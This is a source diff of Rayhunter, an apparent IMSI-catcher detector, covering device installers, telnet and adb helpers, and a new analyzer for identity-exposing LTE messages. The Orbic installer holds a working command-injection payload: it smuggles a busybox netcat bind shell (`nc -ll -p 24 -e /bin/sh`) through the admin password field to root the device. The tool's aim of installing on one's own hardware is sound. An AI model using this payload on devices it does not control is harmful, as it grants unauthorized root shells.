print!("Installing rayhunter... ");
let mut adb_device = setup_rayhunter(adb_device).await?;
let mut adb_device = setup_rayhunter(adb_device, reset_config).await?;
println!("done");
print!("Testing rayhunter... ");
test_rayhunter(&mut adb_device).await?;
@@ -127,7 +143,7 @@ async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
Ok(())
}
async fn setup_rayhunter(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Result<ADBUSBDevice> {
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
adb_at_syscmd(&mut adb_device, "mkdir -p /data/rayhunter").await?;
@@ -137,14 +153,14 @@ async fn setup_rayhunter(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
rayhunter_daemon_bin,
)
.await?;
install_file(
&mut adb_device,
"/data/rayhunter/config.toml",
CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"orbic\"")
.as_bytes(),
)
.await?;
{
let mut conn = AdbConnection {
device: &mut adb_device,
};
install_config(&mut conn, "orbic", reset_config).await?;
}
install_file(
&mut adb_device,
"/etc/init.d/rayhunter_daemon",

View File

@@ -7,10 +7,11 @@ use reqwest::Client;
use serde::Deserialize;
use tokio::time::sleep;
use crate::RAYHUNTER_DAEMON_INIT;
use crate::connection::{TelnetConnection, install_config, setup_data_directory};
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
use crate::output::{eprintln, print, println};
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
// Some kajeet devices have password protected telnetd on port 23, so we use port 24 just in case
const TELNET_PORT: u16 = 24;
@@ -21,7 +22,10 @@ struct ExploitResponse {
}
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
let client: Client = Client::new();
// Disable connection pooling. The Orbic's web server does not properly support
// HTTP/1.1 keep-alive, so reusing connections causes "connection closed before
// message completed" errors.
let client: Client = Client::builder().pool_max_idle_per_host(0).build()?;
// Step 1: Get login info (priKey and session cookie)
let login_info_response = client
@@ -96,11 +100,14 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
.context("Failed to parse login response")?;
if login_result.retcode != 0 {
bail!("Login failed with retcode: {}", login_result.retcode);
match login_result.retcode {
201 => bail!("Login failed: incorrect password"),
code => bail!("Login failed with retcode: {}", code),
}
}
// Step 4: Exploit using authenticated session
let response: ExploitResponse = client
let exploit_result = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", authenticated_cookie)
@@ -109,14 +116,27 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
))
.send()
.await
.context("failed to start telnet")?
.json()
.await
.context("failed to start telnet")?;
.await;
if response.retcode != 0 {
bail!("unexpected response while starting telnet: {:?}", response);
match exploit_result {
Ok(resp) => {
// Try to parse response but don't fail if the server closed the connection
match resp.json::<ExploitResponse>().await {
Ok(response) if response.retcode != 0 => {
bail!("unexpected response while starting telnet: {:?}", response);
}
Ok(_) => {}
Err(_) => {
// Server likely crashed from the injection which is expected
}
}
}
Err(e) if e.is_connect() => {
bail!("failed to connect to admin interface at {admin_ip}: {e}");
}
Err(e) => {
eprintln!("exploit request failed ({e}), continuing anyway");
}
}
Ok(())
@@ -142,6 +162,8 @@ pub async fn install(
admin_ip: String,
admin_username: String,
admin_password: Option<String>,
reset_config: bool,
data_dir: Option<String>,
) -> Result<()> {
let Some(admin_password) = admin_password else {
eprintln!(
@@ -165,7 +187,8 @@ pub async fn install(
wait_for_telnet(&admin_ip).await?;
println!("done");
setup_rayhunter(&admin_ip).await
let data_dir = data_dir.unwrap_or_else(|| "/data/rayhunter-data".to_string());
setup_rayhunter(&admin_ip, reset_config, &data_dir).await
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
@@ -189,7 +212,7 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
Ok(())
}
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
@@ -203,7 +226,8 @@ async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
)
.await?;
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?;
let mut conn = TelnetConnection::new(addr, false);
setup_data_directory(&mut conn, data_dir).await?;
telnet_send_file(
addr,
@@ -213,15 +237,7 @@ async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
)
.await?;
telnet_send_file(
addr,
"/data/rayhunter/config.toml",
CONFIG_TOML
.replace(r#"#device = "orbic""#, r#"device = "orbic""#)
.as_bytes(),
false,
)
.await?;
install_config(&mut conn, "orbic", reset_config).await?;
telnet_send_file(
addr,

View File

@@ -9,6 +9,7 @@ use nusb::Interface;
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
use tokio::time::sleep;
use crate::connection::DeviceConnection;
use crate::orbic::test_rayhunter;
use crate::output::{print, println};
use crate::util::open_usb_device;
@@ -25,33 +26,39 @@ pub async fn install() -> Result<()> {
let mut adb = ADBUSBDevice::new(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
println!("ok");
adb.run_command(&["mount", "-o", "remount,rw", "/"], "exit code 0")?;
adb.run_command(&["mkdir", "-p", "/data/rayhunter"], "exit code 0")?;
run_command_expect(&mut adb, "mount -o remount,rw /", "exit code 0").await?;
run_command_expect(&mut adb, "mkdir -p /data/rayhunter", "exit code 0").await?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
adb.install_file("/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin)?;
adb.install_file(
adb.write_file("/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin)
.await?;
adb.write_file(
"/data/rayhunter/config.toml",
CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"pinephone\"")
.as_bytes(),
)?;
adb.install_file(
)
.await?;
adb.write_file(
"/etc/init.d/rayhunter_daemon",
RAYHUNTER_DAEMON_INIT.as_bytes(),
)?;
adb.install_file(
)
.await?;
adb.write_file(
"/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"),
)?;
adb.run_command(
&["chmod", "755", "/etc/init.d/rayhunter_daemon"],
)
.await?;
run_command_expect(
&mut adb,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
)?;
adb.run_command(&["chmod", "755", "/etc/init.d/misc-daemon"], "exit code 0")?;
)
.await?;
run_command_expect(&mut adb, "chmod 755 /etc/init.d/misc-daemon", "exit code 0").await?;
println!("Rebooting device and waiting 30 seconds for it to start up.");
adb.run_command(&["shutdown -r -t 1 now"], "exit code 0")?;
run_command_expect(&mut adb, "shutdown -r -t 1 now", "exit code 0").await?;
sleep(Duration::from_secs(30)).await;
print!("Unlocking modem ... ");
@@ -68,6 +75,19 @@ pub async fn install() -> Result<()> {
Ok(())
}
/// Helper to run a command and check for expected output
async fn run_command_expect(
adb: &mut ADBUSBDevice,
command: &str,
expected_output: &str,
) -> Result<()> {
let output = adb.run_command(command).await?;
if !output.contains(expected_output) {
bail!("{expected_output:?} not found in: {output}");
}
Ok(())
}
struct Qusbcfg {
vendor_id: u16,
product_id: u16,
@@ -175,29 +195,18 @@ pub async fn stop_adb() -> Result<()> {
Ok(())
}
trait Install {
fn run_command(&mut self, command: &[&str], expected_output: &str) -> Result<()>;
fn install_file(&mut self, dest: &str, payload: &[u8]) -> Result<()>;
}
impl Install for ADBUSBDevice {
/// Run an adb shell command, append '; echo exit code $?' to the command and verify its output.
fn run_command(&mut self, command: &[&str], expected_output: &str) -> Result<()> {
impl DeviceConnection for ADBUSBDevice {
/// Run an adb shell command, append '; echo exit code $?' to the command and return output.
async fn run_command(&mut self, command: &str) -> Result<String> {
let mut buf = Vec::<u8>::new();
let mut cmd = Vec::<&str>::new();
cmd.extend_from_slice(command);
cmd.extend_from_slice(&[";", "echo", "exit code $?"]);
let cmd = ["sh", "-c", &format!("{command}; echo exit code $?")];
self.shell_command(&cmd, &mut buf)?;
let output = String::from_utf8_lossy(&buf);
if !output.contains(expected_output) {
bail!("{expected_output:?} not found in: {output}");
}
Ok(())
Ok(String::from_utf8_lossy(&buf).into_owned())
}
/// Transfer a file to the modem's filesystem with adb push.
/// Validates the file sends successfully to /tmp before overwriting the destination.
fn install_file(&mut self, dest: &str, mut payload: &[u8]) -> Result<()> {
async fn write_file(&mut self, dest: &str, mut payload: &[u8]) -> Result<()> {
print!("Sending file {dest} ... ");
let file_name = Path::new(dest)
.file_name()
@@ -208,8 +217,16 @@ impl Install for ADBUSBDevice {
let push_tmp_path = format!("/tmp/{file_name}");
let file_hash = md5_compute(payload);
self.push(&mut payload, &push_tmp_path)?;
self.run_command(&["md5sum", &push_tmp_path], &format!("{file_hash:x}"))?;
self.run_command(&["mv", &push_tmp_path, dest], "exit code 0")?;
let output = self.run_command(&format!("md5sum {push_tmp_path}")).await?;
if !output.contains(&format!("{file_hash:x}")) {
bail!("{:x} not found in: {output}", file_hash);
}
let output = self
.run_command(&format!("mv {push_tmp_path} {dest}"))
.await?;
if !output.contains("exit code 0") {
bail!("exit code 0 not found in: {output}");
}
println!("ok");
Ok(())
}

View File

@@ -13,7 +13,7 @@ use tokio::time::sleep;
use crate::TmobileArgs as Args;
use crate::output::{print, println};
use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
use crate::util::{reboot_device, telnet_send_command, telnet_send_file};
use crate::wingtech::start_telnet;
pub async fn install(
@@ -92,20 +92,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
)
.await?;
println!("Rebooting device and waiting 30 seconds for it to start up.");
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
sleep(Duration::from_secs(30)).await;
print!("Testing rayhunter ... ");
let max_failures = 10;
http_ok_every(
format!("http://{admin_ip}:8080/index.html"),
Duration::from_secs(3),
max_failures,
)
.await?;
println!("ok");
println!("rayhunter is running at http://{admin_ip}:8080");
reboot_device(addr, "reboot", &admin_ip).await;
Ok(())
}

View File

@@ -18,6 +18,7 @@ use serde::Deserialize;
use tokio::time::sleep;
use crate::InstallTpLink;
use crate::connection::{TelnetConnection, install_config, setup_data_directory};
use crate::output::println;
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
@@ -28,10 +29,20 @@ pub async fn main_tplink(
skip_sdcard,
admin_ip,
sdcard_path,
reset_config,
data_dir,
}: InstallTpLink,
) -> Result<(), Error> {
let is_v3 = start_telnet(&admin_ip).await?;
tplink_run_install(skip_sdcard, admin_ip, sdcard_path, is_v3).await
tplink_run_install(
skip_sdcard,
admin_ip,
sdcard_path,
is_v3,
reset_config,
data_dir,
)
.await
}
#[derive(Deserialize)]
@@ -111,19 +122,16 @@ async fn tplink_run_install(
admin_ip: String,
mut sdcard_path: String,
is_v3: bool,
reset_config: bool,
cli_data_dir: Option<String>,
) -> Result<(), Error> {
println!("Connecting via telnet to {admin_ip}");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
if skip_sdcard {
sdcard_path = "/data/rayhunter-data".to_owned();
telnet_send_command(
addr,
&format!("mkdir -p {sdcard_path}"),
"exit code 0",
true,
)
.await?
let data_dir = if let Some(dir) = cli_data_dir {
dir
} else if skip_sdcard {
"/cache/rayhunter-data".to_owned()
} else {
if sdcard_path.is_empty() {
let try_paths = [
@@ -143,9 +151,12 @@ async fn tplink_run_install(
}
if sdcard_path.is_empty() {
// This error message is shown when the installer cannot figure out where this
// device _would_ mount an SD card, regardless of whether the user did insert one.
// If we get here, it's likely the installer was never tested for this hardware
// version.
anyhow::bail!(
"Unable to determine sdcard path. Rayhunter needs a FAT-formatted SD card to function.\n\n\
If you already inserted a FAT formatted SD card, this is a bug. Please file an issue with your hardware version.\n\n\
"Unable to determine sdcard path. This is a bug. Please file an issue with your hardware version.\n\n\
The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
...but none of them exist.\n\n\
At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
@@ -163,55 +174,43 @@ async fn tplink_run_install(
.await
.is_err()
{
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
// Try to mount the SD card, and if that fails we assume the user didn't insert one.
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few hours. Insert one and rerun this installer, or pass --skip-sdcard")?;
} else {
println!("sdcard already mounted");
}
}
// there is too little space on the internal flash to store anything, but the initrd script
// expects things to be at this location
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0", true).await?;
telnet_send_command(addr, "mkdir -p /data", "exit code 0", true).await?;
telnet_send_command(
addr,
&format!("ln -sf {sdcard_path} /data/rayhunter"),
"exit code 0",
true,
)
.await?;
sdcard_path
};
telnet_send_file(
addr,
&format!("{sdcard_path}/config.toml"),
crate::CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"tplink\"")
.as_bytes(),
true,
)
.await?;
let mut conn = TelnetConnection::new(addr, true);
setup_data_directory(&mut conn, &data_dir).await?;
install_config(&mut conn, "tplink", reset_config).await?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
telnet_send_file(
addr,
&format!("{sdcard_path}/rayhunter-daemon"),
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
true,
)
.await?;
let init_script = get_rayhunter_daemon(if skip_sdcard { None } else { Some(&data_dir) });
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
get_rayhunter_daemon(&sdcard_path).as_bytes(),
init_script.as_bytes(),
true,
)
.await?;
telnet_send_command(
addr,
&format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
"chmod ugo+x /data/rayhunter/rayhunter-daemon",
"exit code 0",
true,
)
@@ -371,18 +370,19 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
Ok(())
}
fn get_rayhunter_daemon(sdcard_path: &str) -> String {
fn get_rayhunter_daemon(sdcard_path: Option<&str>) -> String {
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
// changing the order in which daemons are started up seems to not work reliably.
//
// This part of the daemon dynamically generated because we may have to eventually add logic
// specific to a particular hardware revision here.
crate::RAYHUNTER_DAEMON_INIT.replace(
"#RAYHUNTER-PRESTART",
&format!(
"(mount /dev/mmcblk0p1 {sdcard_path} || true) 2>&1 | tee /tmp/rayhunter-mount.log"
),
)
let prestart = match sdcard_path {
Some(path) => {
format!("(mount /dev/mmcblk0p1 {path} || true) 2>&1 | tee /tmp/rayhunter-mount.log")
}
None => String::new(),
};
crate::RAYHUNTER_DAEMON_INIT.replace("#RAYHUNTER-PRESTART", &prestart)
}
/// Root the TP-Link device and open an interactive shell
@@ -393,6 +393,10 @@ pub async fn shell(admin_ip: &str) -> Result<(), Error> {
#[test]
fn test_get_rayhunter_daemon() {
let s = get_rayhunter_daemon("/media/card");
let s = get_rayhunter_daemon(Some("/media/card"));
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
let s = get_rayhunter_daemon(None);
assert!(!s.contains("mmcblk0p1"));
assert!(!s.contains("#RAYHUNTER-PRESTART"));
}

View File

@@ -4,7 +4,6 @@ use std::time::Duration;
use anyhow::{Context, Result, bail};
use nusb::Device;
use reqwest::Client;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};
@@ -19,53 +18,58 @@ pub async fn telnet_send_command_with_output(
command: &str,
wait_for_prompt: bool,
) -> Result<String> {
if command.contains('\n') {
bail!("multi-line commands are not allowed");
}
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
if wait_for_prompt {
// Wait for initial '#' prompt from telnetd
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
}
}
// Wait for the shell prompt. This also consumes any telnet IAC negotiation
// the server sends at connection start, and ensures the shell is ready
// for input.
while reader.read_u8().await? != b'#' {}
}
writer.write_all(command.as_bytes()).await?;
// by quoting the 'exit' here, we ensure that we do not read our own command line back as
// "output" before we even hit enter, but the actual result of executing the echo.
writer
.write_all(b"; echo command done, 'exit' code $?\r\n")
.await?;
// This contraption is there so we clearly know where the command output starts and ends,
// skipping telnet echoing the command back using START, and terminating the connection right
// after the command exits.
//
// 'TELNET' is quoted so that when the command gets echoed back, it does not match against
// RAYHUNTER_TELNET_COMMAND_DONE search string.
writer.write_all(format!("echo RAYHUNTER_'TELNET'_COMMAND_START; {command}; echo RAYHUNTER_'TELNET'_COMMAND_DONE\r\n").as_bytes()).await?;
let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(10), async {
let mut buf = [0; 4096];
loop {
let Ok(bytes_read) = reader.read(&mut buf).await else {
break;
};
let bytes = &buf[..bytes_read];
if bytes.is_empty() {
continue;
}
read_buf.extend(bytes);
timeout(Duration::from_secs(10), async {
while let Ok(byte) = reader.read_u8().await {
read_buf.push(byte);
// when we see this string we know the command is done and can terminate.
// even if we sent command; exit, certain "telnet-like" shells (like nc contraptions)
// may not terminate the connection appropriately on their own.
let response = String::from_utf8_lossy(&read_buf);
if response.contains("command done, exit code ") {
break;
if byte == b'\n' {
let response = String::from_utf8_lossy(&read_buf);
if response.contains("RAYHUNTER_TELNET_COMMAND_DONE") {
break;
}
}
}
})
.await;
let string = String::from_utf8_lossy(&read_buf).to_string();
Ok(string)
.await
.context("command timed out after 10 seconds")?;
let string = String::from_utf8_lossy(&read_buf);
let start = string.rfind("RAYHUNTER_TELNET_COMMAND_START");
let end = string.rfind("RAYHUNTER_TELNET_COMMAND_DONE");
let string = match (start, end) {
(Some(start), Some(end)) => {
// skip past the START marker and the trailing \r\n of the echoed command line
let start = start + "RAYHUNTER_TELNET_COMMAND_START".len();
string[start..end].trim_start_matches(['\r', '\n'])
}
_ => bail!("failed to parse command output from string: {string:?}"),
};
Ok(string.to_string())
}
pub async fn telnet_send_command(
@@ -74,7 +78,8 @@ pub async fn telnet_send_command(
expected_output: &str,
wait_for_prompt: bool,
) -> Result<()> {
let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
let command = format!("{command}; echo command done, exit code $?");
let output = telnet_send_command_with_output(addr, &command, wait_for_prompt).await?;
if !output.contains(expected_output) {
bail!("{expected_output:?} not found in: {output}");
}
@@ -93,7 +98,7 @@ pub async fn telnet_send_file(
let handle = tokio::spawn(async move {
telnet_send_command_with_output(
addr,
&format!("nc -l -p 8081 >{filename}.tmp"),
&format!("nc -l -p 8081 2>&1 >{filename}.tmp"),
wait_for_prompt,
)
.await
@@ -121,7 +126,7 @@ pub async fn telnet_send_file(
print!("attempt {attempts}... ");
}
{
let send_result: Result<()> = async {
let mut stream = stream?;
stream.write_all(payload).await?;
@@ -134,11 +139,23 @@ pub async fn telnet_send_file(
// application buffers here.
sleep(Duration::from_millis(1000)).await;
// ensure that stream is dropped before we wait for nc to terminate.
drop(stream);
Ok(())
}
.await;
let nc_output = handle
.await
.context("background nc writer failed")?
.context("background nc writer failed")?;
if let Err(e) = send_result {
bail!(
"Failed to send data to nc: {e}. nc output: '{}'",
nc_output.trim()
);
}
handle.await??
nc_output
};
let checksum = md5::compute(payload);
@@ -185,30 +202,11 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R
Ok(())
}
pub async fn http_ok_every(
rayhunter_url: String,
interval: Duration,
max_failures: u32,
) -> Result<()> {
let client = Client::new();
let mut failures = 0;
loop {
match client.get(&rayhunter_url).send().await {
Ok(test) => match test.status().is_success() {
true => break,
false => bail!(
"request for url ({rayhunter_url}) failed with status code: {:?}",
test.status()
),
},
Err(e) => match failures > max_failures {
true => return Err(e.into()),
false => failures += 1,
},
}
sleep(interval).await;
}
Ok(())
pub async fn reboot_device(addr: SocketAddr, reboot_command: &str, admin_ip: &str) {
println!(
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
);
let _ = telnet_send_command(addr, reboot_command, "", true).await;
}
/// General function to open a USB device

View File

@@ -1,3 +1,13 @@
use crate::WingtechArgs as Args;
use crate::output::{print, println};
use crate::util::{reboot_device, telnet_send_command, telnet_send_file};
use aes::Aes128;
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
use anyhow::{Context, Result, bail};
use base64_light::base64_encode_bytes;
use block_padding::{Padding, Pkcs7};
use reqwest::Client;
use serde::Deserialize;
/// Installer for the Wingtech CT2MHS01 hotspot.
///
/// Tested on (from `/etc/wt_version`):
@@ -6,20 +16,6 @@
/// WT_HARDWARE_VERSION=89323_1_20
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use aes::Aes128;
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
use anyhow::{Context, Result, bail};
use base64_light::base64_encode_bytes;
use block_padding::{Padding, Pkcs7};
use reqwest::Client;
use serde::Deserialize;
use tokio::time::sleep;
use crate::WingtechArgs as Args;
use crate::output::{print, println};
use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
#[derive(Deserialize)]
struct LoginResponse {
@@ -145,20 +141,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
)
.await?;
println!("Rebooting device and waiting 30 seconds for it to start up.");
telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?;
sleep(Duration::from_secs(30)).await;
print!("Testing rayhunter ... ");
let max_failures = 10;
http_ok_every(
format!("http://{admin_ip}:8080/index.html"),
Duration::from_secs(3),
max_failures,
)
.await?;
println!("ok");
println!("rayhunter is running at http://{admin_ip}:8080");
reboot_device(addr, "shutdown -r -t 1 now", &admin_ip).await;
Ok(())
}

View File

@@ -1,21 +1,24 @@
[package]
name = "rayhunter"
version = "0.9.0"
version = "0.10.2"
edition = "2024"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
[lib]
name = "rayhunter"
path = "src/lib.rs"
[features]
apidocs = ["dep:utoipa"]
[dependencies]
bytes = "1.5.0"
bytes = "1.11.1"
chrono = { version = "0.4.31", features = ["serde"] }
crc = "3.0.1"
deku = { version = "0.20.0", features = ["logging"] }
libc = "0.2.150"
log = "0.4.20"
env_logger = { version = "0.11", default-features = false }
nix = { version = "0.29.0", features = ["feature"] }
pcap-file-tokio = "0.1.0"
pycrate-rs = { git = "https://github.com/EFForg/pycrate-rs" }
@@ -26,5 +29,6 @@ futures = { version = "0.3.30", default-features = false }
serde = { version = "1.0.197", features = ["derive"] }
serde_json = "1.0"
num_enum = "0.7.4"
utoipa = { version = "5.4.0", optional = true }
[dev-dependencies]

View File

@@ -1,8 +1,10 @@
use chrono::{DateTime, FixedOffset};
use log::debug;
use pcap_file_tokio::pcapng::blocks::enhanced_packet::EnhancedPacketBlock;
use serde::{Deserialize, Serialize};
use std::borrow::Cow;
use crate::analysis::diagnostic::DiagnosticAnalyzer;
use crate::gsmtap::{GsmtapHeader, GsmtapMessage, GsmtapType};
use crate::util::RuntimeMetadata;
use crate::{diag::MessagesContainer, gsmtap_parser};
@@ -15,22 +17,26 @@ use super::{
test_analyzer::TestAnalyzer,
};
/// A list of booleans which stores information about which analyzers are enabled
#[derive(Debug, Clone, Deserialize, Serialize)]
#[serde(default)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct AnalyzerConfig {
pub imsi_requested: bool,
pub diagnostic_analyzer: bool,
pub connection_redirect_2g_downgrade: bool,
pub lte_sib6_and_7_downgrade: bool,
pub null_cipher: bool,
pub nas_null_cipher: bool,
pub incomplete_sib: bool,
pub test_analyzer: bool,
pub imsi_requested: bool,
}
impl Default for AnalyzerConfig {
fn default() -> Self {
AnalyzerConfig {
imsi_requested: true,
diagnostic_analyzer: true,
connection_redirect_2g_downgrade: true,
lte_sib6_and_7_downgrade: true,
null_cipher: true,
@@ -47,6 +53,7 @@ pub const REPORT_VERSION: u32 = 2;
///
/// Informational does not result in any alert on the display.
#[derive(Serialize, Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub enum EventType {
Informational = 0,
Low = 1,
@@ -136,20 +143,29 @@ pub trait Analyzer {
fn get_version(&self) -> u32;
}
/// Specific information on a given analyzer
#[derive(Serialize, Deserialize, Debug)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct AnalyzerMetadata {
/// The analyzer name
pub name: String,
/// A description of what the analyzer does
pub description: String,
/// The deployed version of the analyzer code
pub version: u32,
}
/// The metadata for an analyzed report
#[derive(Serialize, Deserialize, Debug)]
#[serde(default)]
#[derive(Default)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct ReportMetadata {
/// A vector array of which analyzers were in use for the analysis
pub analyzers: Vec<AnalyzerMetadata>,
/// The runtime metadata for rayhunter during the recording and analysis
pub rayhunter: RuntimeMetadata,
/// The version of the reporting format used
// anytime the format of the report changes, bump this by 1
//
// the default is 0. we consider our legacy (unversioned) heuristics to be v0 -- this'll let us
@@ -327,7 +343,7 @@ impl Harness {
harness.add_analyzer(Box::new(ConnectionRedirect2GDowngradeAnalyzer {}));
}
if analyzer_config.lte_sib6_and_7_downgrade {
harness.add_analyzer(Box::new(LteSib6And7DowngradeAnalyzer {}));
harness.add_analyzer(Box::new(LteSib6And7DowngradeAnalyzer::new()));
}
if analyzer_config.null_cipher {
harness.add_analyzer(Box::new(NullCipherAnalyzer {}));
@@ -345,6 +361,10 @@ impl Harness {
harness.add_analyzer(Box::new(TestAnalyzer {}))
}
if analyzer_config.diagnostic_analyzer {
harness.add_analyzer(Box::new(DiagnosticAnalyzer {}));
}
harness
}
@@ -380,8 +400,12 @@ impl Harness {
row.events = match InformationElement::try_from(&gsmtap_message) {
Ok(element) => self.analyze_information_element(&element),
Err(err) => {
row.skipped_message_reason =
Some(format!("failed to convert gsmtap message to IE: {err:?}"));
let msg = format!(
"in packet {}, failed to convert gsmtap message to IE: {err:?}",
self.packet_num
);
debug!("{msg}");
row.skipped_message_reason = Some(msg);
return row;
}
};

View File

@@ -0,0 +1,166 @@
use crate::analysis::analyzer::{Analyzer, Event, EventType};
use crate::analysis::information_element::{InformationElement, LteInformationElement};
use pycrate_rs::nas::NASMessage;
use pycrate_rs::nas::emm::EMMMessage;
use pycrate_rs::nas::generated::emm::emm_attach_reject::EMMCauseEMMCause as AttachRejectEMMCause;
use pycrate_rs::nas::generated::emm::emm_detach_request_mt::EPSDetachTypeMTType;
use pycrate_rs::nas::generated::emm::emm_service_reject::EMMCauseEMMCause as ServiceRejectEMMCause;
use pycrate_rs::nas::generated::emm::emm_tracking_area_update_reject::EMMCauseEMMCause as TAURejectEMMCause;
use std::borrow::Cow;
pub struct DiagnosticAnalyzer;
impl Default for DiagnosticAnalyzer {
fn default() -> Self {
Self::new()
}
}
impl DiagnosticAnalyzer {
pub fn new() -> Self {
DiagnosticAnalyzer
}
fn is_imsi_exposing_nas(&self, nas_msg: &NASMessage) -> bool {
match nas_msg {
NASMessage::EMMMessage(emm_msg) => match emm_msg {
EMMMessage::EMMIdentityRequest(_) => true, // Alert on all identity requests (IMSI, IMEI, IMEISV)
EMMMessage::EMMTrackingAreaUpdateReject(reject) => {
matches!(
reject.emm_cause.inner,
TAURejectEMMCause::IllegalUE
| TAURejectEMMCause::IllegalME
| TAURejectEMMCause::EPSServicesNotAllowed
| TAURejectEMMCause::EPSServicesAndNonEPSServicesNotAllowed
| TAURejectEMMCause::TrackingAreaNotAllowed
| TAURejectEMMCause::EPSServicesNotAllowedInThisPLMN
| TAURejectEMMCause::RequestedServiceOptionNotAuthorizedInThisPLMN
)
}
EMMMessage::EMMAttachReject(reject) => {
matches!(
reject.emm_cause.inner,
AttachRejectEMMCause::IllegalUE
| AttachRejectEMMCause::IllegalME
| AttachRejectEMMCause::EPSServicesNotAllowed
| AttachRejectEMMCause::EPSServicesAndNonEPSServicesNotAllowed
| AttachRejectEMMCause::PLMNNotAllowed
| AttachRejectEMMCause::TrackingAreaNotAllowed
| AttachRejectEMMCause::RoamingNotAllowedInThisTrackingArea
| AttachRejectEMMCause::EPSServicesNotAllowedInThisPLMN
| AttachRejectEMMCause::NoSuitableCellsInTrackingArea
| AttachRejectEMMCause::RequestedServiceOptionNotAuthorizedInThisPLMN
)
}
EMMMessage::EMMDetachRequestMT(req) => {
// Original implementation: !(nas_eps.emm.detach_type_dl == 3)
req.eps_detach_type.inner.typ != EPSDetachTypeMTType::IMSIDetach
}
EMMMessage::EMMAttachRequest(_) => {
// just because eps_attach_type is IMSI doesn't mean that the phoen transmitted its IMSI
// It often sends the GUTI instead. We could check the req.epsid structure but it appears to actually
// not be parsed. So for now we are just ignoreing this message
// req.eps_attach_type.inner == EPSAttachTypeV::CombinedEPSIMSIAttach
false
}
EMMMessage::EMMServiceReject(reject) => {
matches!(
reject.emm_cause.inner,
ServiceRejectEMMCause::IllegalUE
| ServiceRejectEMMCause::IllegalME
| ServiceRejectEMMCause::EPSServicesNotAllowed
| ServiceRejectEMMCause::UEIdentityCannotBeDerivedByTheNetwork
